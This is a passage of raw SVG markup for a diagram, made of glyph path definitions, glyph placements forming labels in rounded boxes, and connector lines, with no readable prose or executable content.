.63.023.829.062.207.043.43.11.671.203v-3.703h1.297zM5.438-7.578a1.513 1.513 0 0 0-.579-.313c-.21-.062-.484-.093-.828-.093-.636 0-1.133.289-1.484.859-.356.574-.531 1.46-.531 2.656 0 .532.03 1.012.093 1.438.07.43.176.797.313 1.11.133.312.312.554.531.718.227.168.504.25.828.25.864 0 1.414-.508 1.656-1.531zm0 0"/></symbol><symbol overflow="visible" id="r"><path style="stroke:none" d="M.922-1.469c.238.137.52.258.844.36.332.105.675.156 1.03.156.395 0 .727-.098 1-.297.282-.195.423-.52.423-.969 0-.363-.09-.664-.266-.906a2.769 2.769 0 0 0-.64-.64 5.361 5.361 0 0 0-.829-.532 4.38 4.38 0 0 1-.843-.594A3.22 3.22 0 0 1 1-5.703C.832-6.016.75-6.41.75-6.891c0-.77.207-1.347.625-1.734.414-.395 1-.594 1.75-.594.5 0 .926.047 1.281.14.364.087.676.204.938.36L5-7.625a3.35 3.35 0 0 0-.797-.297 3.34 3.34 0 0 0-.906-.125c-.438 0-.758.094-.953.281-.2.18-.297.454-.297.829 0 .304.082.562.25.78.176.212.39.403.64.579.258.168.54.344.844.531.301.18.578.39.828.64.258.243.473.532.641.876.176.336.266.761.266 1.281 0 .336-.059.652-.172.953a1.961 1.961 0 0 1-.5.781 2.439 2.439 0 0 1-.828.532c-.325.132-.711.203-1.157.203-.53 0-.992-.055-1.375-.157a3.615 3.615 0 0 1-.968-.406zm0 0"/></symbol><symbol overflow="visible" id="s"><path style="stroke:none" d="M.64-.781c0-.29.087-.524.266-.703a.879.879 0 0 1 .672-.282c.313 0 .567.125.766.375.195.25.297.649.297 1.188 0 .394-.055.75-.157 1.062-.093.32-.226.602-.39.844a2.538 2.538 0 0 1-.531.594c-.188.156-.372.27-.547.344l-.454-.61c.157-.086.301-.195.438-.328.133-.137.242-.293.328-.469.094-.168.164-.343.219-.53.05-.18.078-.36.078-.548a.708.708 0 0 1-.672-.14C.743-.148.641-.414.641-.781zm0 0"/></symbol><symbol overflow="visible" id="t"><path style="stroke:none" d="M1.156-12.469c.383-.113.79-.187 1.219-.219.438-.039.863-.062 1.281-.062.477 0 .953.059 1.422.172a3.2 3.2 0 0 1 1.266.594c.375.28.676.68.906 1.187.238.5.36 1.14.36 1.922 0 .762-.11 1.406-.329 1.938-.218.523-.515.949-.89 1.28-.368.325-.79.563-1.266.72a4.782 4.782 0 0 1-1.453.218H3.094a9.356 9.356 0 0 1-.344-.031c-.117-.008-.2-.02-.25-.031V0H1.156zm2.563.969c-.242 0-.469.012-.688.031-.219.012-.398.04-.531.078v5.36a.68.68 0 0 0 .219.047c.101.011.207.023.312.03h.548c.343 0 .663-.038.968-.124.312-.082.586-.234.828-.453.238-.227.43-.532.578-.907.156-.382.234-.863.234-1.437 0-.5-.07-.914-.203-1.25a2.083 2.083 0 0 0-.546-.813 1.861 1.861 0 0 0-.782-.437 3.463 3.463 0 0 0-.937-.125zm0 0"/></symbol><symbol overflow="visible" id="u"><path style="stroke:none" d="M.703-.813c0-.332.078-.582.235-.75.164-.164.39-.25.671-.25.27 0 .485.086.641.25.164.168.25.418.25.75 0 .356-.086.618-.25.782-.156.164-.371.25-.64.25-.282 0-.508-.086-.673-.25C.781-.195.704-.457.704-.812zm0 0"/></symbol><symbol overflow="visible" id="v"><path style="stroke:none" d="M.781-6.297c0-2.133.336-3.754 1.016-4.86.687-1.1 1.734-1.655 3.14-1.655.75 0 1.391.156 1.922.468.532.305.957.735 1.282 1.297.332.563.578 1.246.734 2.047.156.805.234 1.703.234 2.703 0 2.137-.351 3.758-1.046 4.86C7.375-.333 6.332.218 4.937.218c-.75 0-1.39-.153-1.921-.453a3.794 3.794 0 0 1-1.297-1.313C1.383-2.109 1.145-2.789 1-3.594.852-4.406.781-5.304.781-6.297zm1.422 0c0 .711.047 1.383.14 2.016a6.44 6.44 0 0 0 .485 1.672c.219.48.5.867.844 1.156.344.281.765.422 1.265.422.895 0 1.579-.43 2.047-1.297.47-.863.704-2.188.704-3.969 0-.695-.055-1.363-.157-2a6.692 6.692 0 0 0-.484-1.672c-.211-.488-.492-.879-.844-1.172-.344-.289-.766-.437-1.266-.437-.898 0-1.578.433-2.046 1.297-.461.867-.688 2.195-.688 3.984zm0 0"/></symbol><symbol overflow="visible" id="w"><path style="stroke:none" d="M1.063-12.594h1.296v4.281h.047c.5-.601 1.156-.906 1.969-.906.926 0 1.617.371 2.078 1.11.457.73.688 1.886.688 3.468 0 1.618-.309 2.82-.922 3.61C5.602-.238 4.727.156 3.594.156A5.73 5.73 0 0 1 2.078-.03c-.45-.125-.789-.27-1.015-.438zM2.359-1.313c.164.094.368.168.61.22.25.054.515.077.797.077.625 0 1.117-.296 1.484-.89.363-.594.547-1.504.547-2.735a8.2 8.2 0 0 0-.11-1.39 4.309 4.309 0 0 0-.296-1.078c-.137-.301-.32-.532-.547-.688a1.293 1.293 0 0 0-.797-.25c-.43 0-.781.133-1.063.39-.28.262-.492.61-.625 1.048zm0 0"/></symbol><symbol overflow="visible" id="x"><path style="stroke:none" d="M.672-4.5c0-1.625.273-2.816.828-3.578.563-.758 1.36-1.14 2.39-1.14 1.102 0 1.915.39 2.438 1.171.52.781.781 1.965.781 3.547 0 1.637-.28 2.836-.843 3.594C5.703-.156 4.91.219 3.89.219c-1.106 0-1.918-.39-2.438-1.172C.93-1.734.672-2.914.672-4.5zm1.344 0c0 .531.03 1.016.093 1.453.07.43.18.797.329 1.11.144.312.335.558.578.734.25.168.539.25.875.25.625 0 1.093-.274 1.406-.828.312-.563.469-1.469.469-2.719 0-.52-.04-1-.11-1.438a3.673 3.673 0 0 0-.328-1.125 1.793 1.793 0 0 0-.578-.718 1.422 1.422 0 0 0-.86-.266c-.617 0-1.085.281-1.406.844-.312.562-.468 1.465-.468 2.703zm0 0"/></symbol><symbol overflow="visible" id="y"><path style="stroke:none" d="M2.89-4.61.517-9h1.546l1.344 2.578.36 1 .375-1L5.516-9h1.421L4.531-4.687 7.078 0H5.594l-1.5-2.828-.407-1.078-.406 1.078L1.766 0H.344zm0 0"/></symbol><symbol overflow="visible" id="z"><path style="stroke:none" d="M6.031-.453c-.304.23-.648.398-1.031.5-.387.113-.79.172-1.203.172-.574 0-1.059-.11-1.453-.328a2.695 2.695 0 0 1-.969-.954c-.242-.414-.418-.914-.531-1.5A9.847 9.847 0 0 1 .672-4.5c0-1.531.27-2.695.812-3.5.54-.813 1.32-1.219 2.344-1.219.469 0 .867.043 1.203.125.344.086.633.196.875.328l-.36 1.141c-.48-.281-1-.422-1.562-.422-.656 0-1.152.29-1.484.86-.324.562-.484 1.46-.484 2.687 0 .492.035.953.109 1.39.07.43.191.805.36 1.126.163.312.378.562.64.75.27.187.602.28 1 .28A2.4 2.4 0 0 0 5-1.108c.27-.114.488-.243.656-.391zm0 0"/></symbol><symbol overflow="visible" id="A"><path style="stroke:none" d="M5.281 0v-5.344c0-.476-.015-.89-.047-1.234a2.42 2.42 0 0 0-.203-.828 1.046 1.046 0 0 0-.39-.485c-.168-.101-.387-.156-.657-.156a1.34 1.34 0 0 0-1.046.485 2.5 2.5 0 0 0-.579 1.078V0H1.063v-9h.921l.235.953h.047c.25-.344.546-.625.89-.844.352-.218.801-.328 1.344-.328.457 0 .832.102 1.125.297.29.2.52.555.688 1.063.218-.426.523-.758.921-1 .407-.239.848-.36 1.329-.36a3 3 0 0 1 1.015.156c.29.106.52.29.688.547.175.25.304.59.39 1.016.082.43.125.965.125 1.61V0H9.484v-5.719c0-.781-.078-1.363-.234-1.75-.148-.383-.492-.578-1.031-.578-.45 0-.809.14-1.078.422-.274.281-.465.664-.579 1.14V0zm0 0"/></symbol><symbol overflow="visible" id="B"><path style="stroke:none" d="M1.063-9h.921l.188.969h.078c.445-.79 1.145-1.188 2.094-1.188.945 0 1.656.356 2.125 1.063.476.71.718 1.867.718 3.469 0 .761-.078 1.445-.234 2.046a4.926 4.926 0 0 1-.672 1.547c-.293.43-.648.758-1.062.985a2.82 2.82 0 0 1-1.36.328 4.71 4.71 0 0 1-.843-.063 2.434 2.434 0 0 1-.657-.265v3.703H1.063zm1.296 7.578c.164.149.352.262.563.344.207.086.488.125.844.125.632 0 1.132-.32 1.5-.969.375-.644.562-1.57.562-2.781 0-.5-.031-.953-.094-1.36a3.593 3.593 0 0 0-.312-1.046c-.149-.301-.336-.532-.563-.688a1.323 1.323 0 0 0-.812-.25c-.875 0-1.438.54-1.688 1.61zm0 0"/></symbol><symbol overflow="visible" id="C"><path style="stroke:none" d="M5.672 0v-5.484c0-.907-.106-1.555-.313-1.954-.21-.406-.586-.609-1.125-.609-.48 0-.875.149-1.187.438a2.472 2.472 0 0 0-.688 1.062V0H1.063v-9H2l.234.953h.047c.227-.32.535-.598.922-.828.395-.227.863-.344 1.406-.344.383 0 .723.059 1.016.172.29.106.535.29.734.547.196.25.348.594.454 1.031.101.43.156.977.156 1.64V0zm0 0"/></symbol><symbol overflow="visible" id="D"><path style="stroke:none" d="m3.297-3.188.375 1.75h.094l.265-1.75L5.406-9H6.72L4.579-.922c-.18.649-.352 1.25-.516 1.813a9.848 9.848 0 0 1-.547 1.468c-.2.414-.422.739-.672.97-.242.237-.528.358-.86.358-.343 0-.64-.054-.89-.156l.218-1.234c.165.062.333.07.5.031.165-.031.32-.133.47-.297.155-.168.296-.418.421-.75.125-.324.238-.75.344-1.281L.125-9h1.484zm0 0"/></symbol><symbol overflow="visible" id="F"><path style="stroke:none" d="M6-3.531H2.437L1.423 0H.094L3.89-12.797h.734L8.422 0H7.016zM2.797-4.734h2.875L4.578-8.625l-.344-1.89h-.046l-.329 1.921zm0 0"/></symbol><symbol overflow="visible" id="G"><path style="stroke:none" d="M2.234-9v5.516c0 .906.094 1.558.282 1.953.187.386.523.578 1.015.578.25 0 .473-.05.672-.156.195-.102.375-.239.531-.407.157-.164.29-.351.407-.562.125-.219.222-.442.296-.672V-9h1.297v6.438c0 .437.016.89.047 1.359.032.46.07.86.125 1.203H6l-.328-1.266h-.063c-.199.399-.492.746-.875 1.047-.386.29-.867.438-1.437.438C2.91.219 2.57.164 2.28.062a1.605 1.605 0 0 1-.734-.515c-.211-.25-.367-.594-.469-1.031-.094-.438-.14-1-.14-1.688V-9zm0 0"/></symbol><symbol overflow="visible" id="H"><path style="stroke:none" d="M1.281-9h1.297v9H1.281zm-.234-2.734c0-.29.078-.524.234-.704a.84.84 0 0 1 .64-.265c.27 0 .49.09.657.265.176.168.266.403.266.704 0 .293-.09.523-.266.687-.168.156-.387.235-.656.235a.856.856 0 0 1-.64-.25c-.157-.176-.235-.399-.235-.672zm0 0"/></symbol><symbol overflow="visible" id="I"><path style="stroke:none" d="M2.453-2.14c0 .417.055.718.172.906.113.18.27.265.469.265.25 0 .547-.066.89-.203L4.11-.125a2.248 2.248 0 0 1-.656.234c-.281.063-.539.094-.765.094-.461 0-.829-.14-1.11-.422-.281-.281-.422-.773-.422-1.484v-10.89h1.297zm0 0"/></symbol><symbol overflow="visible" id="J"><path style="stroke:none" d="M6.734.406c0 1.164-.261 2.024-.78 2.578-.513.551-1.263.829-2.25.829-.595 0-1.087-.055-1.47-.157a3.77 3.77 0 0 1-.937-.344l.375-1.109c.238.102.5.203.781.297.29.094.649.14 1.078.14.727 0 1.227-.203 1.5-.609.27-.406.407-1.09.407-2.047v-.671h-.063c-.188.28-.434.5-.734.656-.305.156-.688.234-1.157.234-.968 0-1.683-.375-2.14-1.125-.45-.75-.672-1.93-.672-3.547 0-1.539.297-2.707.89-3.5.594-.789 1.47-1.187 2.625-1.187.57 0 1.063.054 1.47.156.405.105.765.23 1.077.375zm-1.296-8.11c-.368-.187-.829-.28-1.391-.28-.617 0-1.11.28-1.484.843-.368.555-.547 1.438-.547 2.657 0 .511.03.98.093 1.406.063.418.16.789.297 1.11a2 2 0 0 0 .547.734c.227.18.504.265.828.265.457 0 .817-.117 1.078-.36.258-.237.454-.597.579-1.077zm0 0"/></symbol><symbol overflow="visible" id="K"><path style="stroke:none" d="M5.406-11.5a27.95 27.95 0 0 0-.593-.078 5.185 5.185 0 0 0-.766-.063c-.313 0-.559.063-.734.188-.18.117-.32.281-.422.5a2.492 2.492 0 0 0-.172.828c-.024.336-.031.71-.031 1.125h1.421v1.172H2.688V0H1.39v-7.828H.28V-9h1.11v-.5c0-1.133.195-1.969.593-2.5.407-.54 1.082-.813 2.032-.813.187 0 .41.012.671.032a9.788 9.788 0 0 1 1.47.172c.226.03.41.074.546.125v10.437c0 .399.05.68.156.844.114.168.274.25.485.25.258 0 .562-.067.906-.203L8.328-.11a2.26 2.26 0 0 1-.64.234 3.362 3.362 0 0 1-.782.094c-.449 0-.812-.14-1.093-.422-.274-.29-.407-.785-.407-1.484zm0 0"/></symbol><symbol overflow="visible" id="U"><path style="stroke:none" d="M0 2.516h6.016v1.171H0zm0 0"/></symbol><symbol overflow="visible" id="V"><path style="stroke:none" d="m5.875-9 1.594 5.25.328 1.734h.031l.266-1.765L9.328-9h1.219L8.157.203h-.735L5.594-5.703l-.25-1.516h-.032l-.25 1.532L3.298.202h-.735L.095-9h1.375l1.39 5.234.22 1.75h.03l.329-1.78L4.905-9zm0 0"/></symbol><symbol overflow="visible" id="W"><path style="stroke:none" d="M7.219 0H1.156v-12.594H2.5v11.36h4.719zm0 0"/></symbol><symbol overflow="visible" id="X"><path style="stroke:none" d="M1.688-1.203h2.03V-9.97l.173-1.062-.61.86-1.515 1.218-.688-.797 3.281-3.063h.657v11.61h1.968V0H1.688zm0 0"/></symbol><symbol overflow="visible" id="Y"><path style="stroke:none" d="M5.672 0v-5.469c0-.843-.102-1.484-.297-1.922-.2-.437-.594-.656-1.188-.656-.417 0-.796.152-1.14.453-.344.305-.574.68-.688 1.125V0H1.063v-12.594h1.296v4.438h.047c.239-.313.535-.567.89-.766.352-.195.798-.297 1.329-.297.395 0 .738.059 1.031.172.301.106.547.293.735.563.187.261.328.609.421 1.046.102.438.157.981.157 1.625V0zm0 0"/></symbol><symbol overflow="visible" id="Z"><path style="stroke:none" d="m.578-1.172 3.344-5.89.625-.766H.578V-9h5.25v1.172l-3.36 5.937-.609.72h3.97V0H.578zm0 0"/></symbol><symbol overflow="visible" id="aa"><path style="stroke:none" d="M7.734-.484c-.293.25-.668.43-1.125.53C6.15.16 5.672.22 5.172.22a4.324 4.324 0 0 1-1.766-.36C2.863-.379 2.395-.758 2-1.28c-.387-.52-.688-1.192-.906-2.016-.211-.832-.313-1.832-.313-3 0-1.195.117-2.207.36-3.031.25-.832.578-1.504.984-2.016.406-.52.875-.894 1.406-1.125a4.251 4.251 0 0 1 1.656-.344c.57 0 1.047.043 1.422.126.383.085.711.183.985.296l-.328 1.235a3.297 3.297 0 0 0-.844-.313 5.256 5.256 0 0 0-1.11-.11c-.417 0-.812.095-1.187.282-.375.188-.71.492-1 .906-.281.407-.508.95-.672 1.625-.168.668-.25 1.493-.25 2.47 0 1.75.297 3.07.89 3.952.602.875 1.4 1.313 2.391 1.313a3.26 3.26 0 0 0 1.11-.172c.32-.113.597-.25.828-.406zm0 0"/></symbol></defs><path style="fill:#fff;fill-opacity:1;stroke:none" d="M0 0h722v512H0z"/><path style="fill-rule:evenodd;fill:#fff;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#fff;stroke-opacity:1;stroke-miterlimit:10" d="M24.236 40.853h35.865V66.19H24.236zm0 0" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#b3b3b3;stroke-opacity:1;stroke-miterlimit:10" d="M26.644 44.584H57.1M26.644 62.446H57.1M26.644 44.584a.3.3 0 0 0-.3.3M57.4 44.884a.3.3 0 0 0-.3-.3M26.344 44.884v17.262M57.4 44.884v17.262M26.344 62.146a.3.3 0 0 0 .3.3M57.1 62.446a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 125.96h102.399v23.853H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="144.211"/><use xlink:href="#b" x="86.109" y="144.211"/><use xlink:href="#b" x="95.016" y="144.211"/><use xlink:href="#c" x="103.922" y="144.211"/><use xlink:href="#d" x="109.781" y="144.211"/><use xlink:href="#e" x="118.336" y="144.211"/><use xlink:href="#e" x="125.328" y="144.211"/><use xlink:href="#f" x="132.32" y="144.211"/><use xlink:href="#g" x="136.422" y="144.211"/><use xlink:href="#h" x="141.285" y="144.211"/><use xlink:href="#i" x="145.777" y="144.211"/><use xlink:href="#d" x="154.762" y="144.211"/><use xlink:href="#f" x="163.316" y="144.211"/><use xlink:href="#j" x="167.418" y="144.211"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 116.684h408v40h-408zM197.313 122.684v-6c-3.313 0-6 2.687-6 6zM605.313 122.684h6c0-3.313-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 122.684h420v28h-420zM197.313 150.684h-6c0 3.312 2.687 6 6 6zM605.313 150.684v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 46.46h20.4M34.052 48.46h20.4M34.052 46.46a.3.3 0 0 0-.3.3M54.752 46.76a.3.3 0 0 0-.3-.3M33.752 46.76v1.4M54.752 46.76v1.4M33.752 48.16a.3.3 0 0 0 .3.3M54.452 48.46a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M191.313 161.434h239.5v21.25h-239.5zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#k" x="191.313" y="177.684"/><use xlink:href="#l" x="199.008" y="177.684"/><use xlink:href="#m" x="203.949" y="177.684"/><use xlink:href="#n" x="208.891" y="177.684"/><use xlink:href="#n" x="216.215" y="177.684"/><use xlink:href="#l" x="223.656" y="177.684"/><use xlink:href="#o" x="228.598" y="177.684"/><use xlink:href="#p" x="232.406" y="177.684"/><use xlink:href="#q" x="239.613" y="177.684"/><use xlink:href="#q" x="247.406" y="177.684"/><use xlink:href="#m" x="255.199" y="177.684"/><use xlink:href="#n" x="260.141" y="177.684"/><use xlink:href="#r" x="267.582" y="177.684"/><use xlink:href="#r" x="273.656" y="177.684"/><use xlink:href="#s" x="279.73" y="177.684"/><use xlink:href="#o" x="281.469" y="177.684"/><use xlink:href="#t" x="285.277" y="177.684"/><use xlink:href="#u" x="291.527" y="177.684"/><use xlink:href="#v" x="294.32" y="177.684"/><use xlink:href="#u" x="303.793" y="177.684"/><use xlink:href="#o" x="305.414" y="177.684"/><use xlink:href="#w" x="309.223" y="177.684"/><use xlink:href="#x" x="317.035" y="177.684"/><use xlink:href="#y" x="324.496" y="177.684"/><use xlink:href="#s" x="331.918" y="177.684"/><use xlink:href="#o" x="333.656" y="177.684"/><use xlink:href="#z" x="337.465" y="177.684"/><use xlink:href="#x" x="343.578" y="177.684"/><use xlink:href="#A" x="351.352" y="177.684"/><use xlink:href="#B" x="363.07" y="177.684"/><use xlink:href="#p" x="370.902" y="177.684"/><use xlink:href="#C" x="378.109" y="177.684"/><use xlink:href="#D" x="386.02" y="177.684"/><use xlink:href="#o" x="392.309" y="177.684"/><use xlink:href="#C" x="396.117" y="177.684"/><use xlink:href="#p" x="404.027" y="177.684"/><use xlink:href="#A" x="411.234" y="177.684"/><use xlink:href="#n" x="422.953" y="177.684"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m48.157 51.13-3.462-.005" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M44.695 51.125c0-.125.125-.25.25-.25s.25.126.25.25c0 .126-.125.25-.25.25a.269.269 0 0 1-.25-.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M74.566 207.293h102.399v23.852H74.566zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#a" x="76.09" y="225.543"/><use xlink:href="#b" x="86.109" y="225.543"/><use xlink:href="#b" x="95.016" y="225.543"/><use xlink:href="#c" x="103.922" y="225.543"/><use xlink:href="#d" x="109.781" y="225.543"/><use xlink:href="#e" x="118.336" y="225.543"/><use xlink:href="#e" x="125.328" y="225.543"/><use xlink:href="#f" x="132.32" y="225.543"/><use xlink:href="#g" x="136.422" y="225.543"/><use xlink:href="#h" x="141.285" y="225.543"/><use xlink:href="#i" x="145.777" y="225.543"/><use xlink:href="#d" x="154.762" y="225.543"/><use xlink:href="#f" x="163.316" y="225.543"/><use xlink:href="#E" x="167.418" y="225.543"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 198.02h408v40h-408zM197.313 204.02v-6c-3.313 0-6 2.683-6 6zM605.313 204.02h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 204.02h420v28h-420zM197.313 232.02h-6c0 3.312 2.687 6 6 6zM605.313 232.02v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 50.528h20.4M34.052 52.528h20.4M34.052 50.528a.3.3 0 0 0-.3.3M54.752 50.828a.3.3 0 0 0-.3-.3M33.752 50.828v1.4M54.752 50.828v1.4M33.752 52.228a.3.3 0 0 0 .3.3M54.452 52.528a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M190.813 242.434h223.101v21.25H190.813zm0 0"/><g style="fill:#4d4d4d;fill-opacity:1"><use xlink:href="#F" x="190.813" y="258.684"/><use xlink:href="#B" x="199.328" y="258.684"/><use xlink:href="#p" x="207.16" y="258.684"/><use xlink:href="#m" x="214.367" y="258.684"/><use xlink:href="#l" x="219.738" y="258.684"/><use xlink:href="#A" x="224.68" y="258.684"/><use xlink:href="#n" x="236.398" y="258.684"/><use xlink:href="#C" x="243.84" y="258.684"/><use xlink:href="#l" x="251.75" y="258.684"/><use xlink:href="#s" x="256.691" y="258.684"/><use xlink:href="#o" x="258.43" y="258.684"/><use xlink:href="#r" x="262.238" y="258.684"/><use xlink:href="#G" x="268.313" y="258.684"/><use xlink:href="#H" x="276.125" y="258.684"/><use xlink:href="#l" x="280.031" y="258.684"/><use xlink:href="#n" x="284.855" y="258.684"/><use xlink:href="#s" x="292.297" y="258.684"/><use xlink:href="#o" x="294.035" y="258.684"/><use xlink:href="#G" x="297.844" y="258.684"/><use xlink:href="#C" x="305.656" y="258.684"/><use xlink:href="#H" x="313.566" y="258.684"/><use xlink:href="#l" x="317.473" y="258.684"/><use xlink:href="#s" x="322.414" y="258.684"/><use xlink:href="#o" x="324.152" y="258.684"/><use xlink:href="#w" x="327.961" y="258.684"/><use xlink:href="#G" x="335.773" y="258.684"/><use xlink:href="#H" x="343.586" y="258.684"/><use xlink:href="#I" x="347.492" y="258.684"/><use xlink:href="#q" x="351.691" y="258.684"/><use xlink:href="#H" x="359.484" y="258.684"/><use xlink:href="#C" x="363.391" y="258.684"/><use xlink:href="#J" x="371.301" y="258.684"/><use xlink:href="#s" x="379.074" y="258.684"/><use xlink:href="#o" x="380.813" y="258.684"/><use xlink:href="#K" x="384.621" y="258.684"/><use xlink:href="#x" x="393.059" y="258.684"/><use xlink:href="#x" x="400.832" y="258.684"/><use xlink:href="#m" x="408.605" y="258.684"/></g><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M148.91 290.793h27.399v23.852H148.91zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#L" x="149.242" y="309.043"/><use xlink:href="#h" x="158.383" y="309.043"/><use xlink:href="#M" x="162.875" y="309.043"/><use xlink:href="#N" x="168.305" y="309.043"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 281.52h188v40h-188zM197.313 287.52v-6c-3.313 0-6 2.683-6 6zM385.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 287.52h200v28h-200zM197.313 315.52h-6c0 3.312 2.687 6 6 6zM385.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 54.703h9.4M34.052 56.703h9.4M34.052 54.703a.3.3 0 0 0-.3.3M43.752 55.003a.3.3 0 0 0-.3-.3M33.752 55.003v1.4M43.752 55.003v1.4M33.752 56.403a.3.3 0 0 0 .3.3M43.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M113.96 362.023h62.353v23.852H113.96zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#O" x="114.887" y="380.273"/><use xlink:href="#P" x="123.793" y="380.273"/><use xlink:href="#Q" x="128.559" y="380.273"/><use xlink:href="#f" x="137.465" y="380.273"/><use xlink:href="#L" x="141.352" y="380.273"/><use xlink:href="#R" x="149.945" y="380.273"/><use xlink:href="#b" x="158.852" y="380.273"/><use xlink:href="#d" x="167.758" y="380.273"/></g><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M197.313 352.746h108v40h-108zM197.313 358.746v-6c-3.313 0-6 2.688-6 6zM305.313 358.746h6c0-3.312-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M191.313 358.746h120v28h-120zM197.313 386.746h-6c0 3.317 2.687 6 6 6zM305.313 386.746v6c3.312 0 6-2.683 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M34.052 58.264h5.4M34.052 60.264h5.4M34.052 58.264a.3.3 0 0 0-.3.3M39.752 58.564a.3.3 0 0 0-.3-.3M33.752 58.564v1.4M39.752 58.564v1.4M33.752 59.964a.3.3 0 0 0 .3.3M39.452 60.264a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M477.313 281.52h128v40h-128zM477.313 287.52v-6c-3.313 0-6 2.683-6 6zM605.313 287.52h6c0-3.317-2.688-6-6-6zm0 0"/><path style="stroke:none;fill-rule:evenodd;fill:#f2f2f2;fill-opacity:1" d="M471.313 287.52h140v28h-140zM477.313 315.52h-6c0 3.312 2.687 6 6 6zM605.313 315.52v6c3.312 0 6-2.688 6-6zm0 0"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#4d4d4d;stroke-opacity:1;stroke-miterlimit:10" d="M48.052 54.703h6.4M48.052 56.703h6.4M48.052 54.703a.3.3 0 0 0-.3.3M54.752 55.003a.3.3 0 0 0-.3-.3M47.752 55.003v1.4M54.752 55.003v1.4M47.752 56.403a.3.3 0 0 0 .3.3M54.452 56.703a.3.3 0 0 0 .3-.3" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M422.512 290.793h37.8v23.852h-37.8zm0 0"/><g style="fill:#000;fill-opacity:1"><use xlink:href="#S" x="423.066" y="309.043"/><use xlink:href="#M" x="431.855" y="309.043"/><use xlink:href="#T" x="437.676" y="309.043"/><use xlink:href="#M" x="445.938" y="309.043"/><use xlink:href="#d" x="451.758" y="309.043"/></g><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m27.9 42.973.006 1.899" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M27.906 44.872a.269.269 0 0 1-.251-.25c0-.124.124-.25.25-.25a.27.27 0 0 1 .25.25c0 .124-.124.25-.25.25" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill:none;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="m46.275 43.802-.026 5.672" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="fill-rule:evenodd;fill:#000;fill-opacity:1;stroke-width:.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:#000;stroke-opacity:1;stroke-miterlimit:10" d="M46.25 49.474a.269.269 0 0 1-.25-.251c0-.125.126-.25.251-.249.125 0 .25.126.25.251-.002.125-.127.25-.252.249" transform="matrix(20 0 0 20 -483.724 -812.534)"/><path style="stroke:none;fill-rule:evenodd;fill:#fff;fill-opacity:1" d="M519.305 